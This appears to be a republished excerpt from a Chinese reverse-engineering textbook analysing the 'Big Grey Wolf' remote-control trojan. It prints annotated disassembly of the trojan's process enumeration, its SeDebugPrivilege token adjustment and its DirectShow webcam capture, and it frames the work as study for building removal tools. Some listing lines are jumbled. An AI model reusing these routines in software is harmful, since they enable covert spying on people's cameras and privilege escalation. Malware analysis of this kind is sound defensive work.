.text:10011699 jz loc_10011774  
.text:1001169F lea edx, [esp+24Ch+cbNeeded]  
.text:100116A3 lea eax, [esp+24Ch+hModule]  
.text:100116A7 push edx ; lpcbNeeded
.text:100116A8 push 4 ; cb
.text:100116AA push eax ; lphModule
.text:100116AB push esi ; hProcess
.text:100116AC call EnumProcessModules ; 遍歷進程模塊列表
.text:100116B1 mov edx, [esp+24Ch+hModule]  
.text:100116B5 lea ecx, [esp+24Ch+Filename]  
.text:100116BC push 104h ; nSize
.text:100116C1 push ecx ; lpFilename
.text:100116C2 push edx ; hModule
.text:100116C3 push esi ; hProcess
.text:100116C4 call GetModuleFileNameExA ; 獲取進程路徑
.text:100116F3 push 42h ; uFlags
.text:100116F5 push esi ; uBytes
.text:100116F6 push ebp ; hMem
.text:100116F7 call ds:LocalReAlloc ; 釋放空間
.text:10011774 lea ecx, [esp+24Ch+pe]  
.text:10011778 push ecx ; lppe
.text:10011779 push edi ; hSnapshot
.text:1001177A call Process32Next ; 遍歷下一個進程
.text:1001177F
.text:10011781 test
jnz eax, eax
loc_10011669 
; 
循環開始
.text:10011787 mov esi, [esp+24Ch+var_238] ; 循環結束
.text:1001178B push 42h ; uFlags
.text:1001178D push ebx ; uBytes
.text:1001178E push ebp ; hMem
.text:1001178F call ds:LocalReAlloc  
.text:10011795 push 0 ; int
.text:10011797 push offset Name ; "SeDebugPrivilege"
.text:1001179C
.text:1001179E mov
call ebx, eax
adjust_token 
; 
調用函數調整令牌權限
.text:100117A3 add esp, 8  
.text:100117A6 push edi ; hObject
.text:100117A7
.text:100117AD mov
call edi, ds:CloseHandle
edi ; CloseHandle 
; 
關閉進程快照
.text:100117AF push esi ; hObject
.text:100117B0 call edi ; CloseHandle ; 關閉進程句柄

如代碼清單 16-18 所示,該病毒通過 DirectShow 完成視頻採集(DirectShow 是微軟基於 COM 的流媒體處理的開發包)。

代碼清單 16-18  攝像頭查看代碼片段 DllVideo 函數實現代碼:

.text:10001E8Blea ecx, [esp+900h+pCreateDevEnum]
.text:10001E8Fpush ecx ; pCreateDevEnum
.text:10001E90push offset stru_100853DC ; riid,IID_ICreateDevEnum
.text:10001E95push 1 ; dwClsContext,CLSCTX_INPROC_SERVER
.text:10001E97push ebx ; pUnkOuter
.text:10001E98push offset stru_1008546C ; rclsid, CLSID_SystemDeviceEnum
.text:10001E9Dcall esi ; CoCreateInstance ; 創建設備枚舉COM對象:ICreateDevEnum
.text:10001EB7push ebx ; 參數4:0
.text:10001EB8push ecx ; 參數3:保存對象的地址
.text:10001EB9mov edx, [eax] ; 獲取虛表指針
.text:10001EBBpush offset stru_1008545C ; 參數2:CLSID_VideoInputDeviceCategory
.text:10001EC0push eax ; 參數1:this指針
.text:10001EC1mov [esp+910h+var_4], ebx
.text:10001EC8call dword ptr [edx+0Ch]
; 調用CreateClassEnumerator,創建視頻採集設備枚舉COM對象
.text:10001EF4push eax ; 參數1:this指針
.text:10001EF5mov ecx, [eax]
.text:10001EF7call dword ptr [ecx+14h] ; 調用IEnumMoniker->Reset
.text:10001EFAmov eax, [esp+900h+pEnum]
.text:10001EFElea ecx, [esp+900h+var_8C4]
.text:10001F02push ecx
.text:10001F03lea ecx, [esp+904h+pMoniker2]
.text:10001F07mov edx, [eax]
.text:10001F09push ecx ; 參數3:保存對象的地址
.text:10001F0Apush 1 ; 參數2:1
.text:10001F0Cpush eax ; 參數1:this指針
.text:10001F0Dcall dword ptr [edx+0Ch]
; 調用IEnumMoniker->Next,獲取
; IMoniker接口,循環枚舉
.text:10001F19mov eax, [esp+904h+pMoniker2]
.text:10001F1Dlea ecx, [esp+904h+var_8D4]
.text:10001F21push ecx
.text:10001F22push offset unk_100854DC
.text:10001F27mov edx, [eax]
.text:10001F29push ebx
.text:10001F2Apush ebx
.text:10001F2Bpush eax
.text:10001F2Ccall dword ptr [edx+36] ; 調用IMoniker->BindToStorage

16.6 本章小結

本章的學習重點是將逆向技術應用於病毒程序分析。正所謂 “知己知彼,百戰不殆”,要想反病毒,首先就要清楚病毒的實現原理,這樣才能技高一籌。有了對大灰狼遠控木馬的分析,讀者可以根據病毒的實現原理,編寫對應的修復、防禦工具,製作針對大灰狼遠控木馬的專殺軟件。

本文摘編自《C++ 反彙編與逆向分析技術揭祕(第 2 版)》,經出版方授權發佈。(ISBN:78-7-111-68991-1),轉載請標明出處。

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/RGUvHXF6D1OWuzbEaG5JKw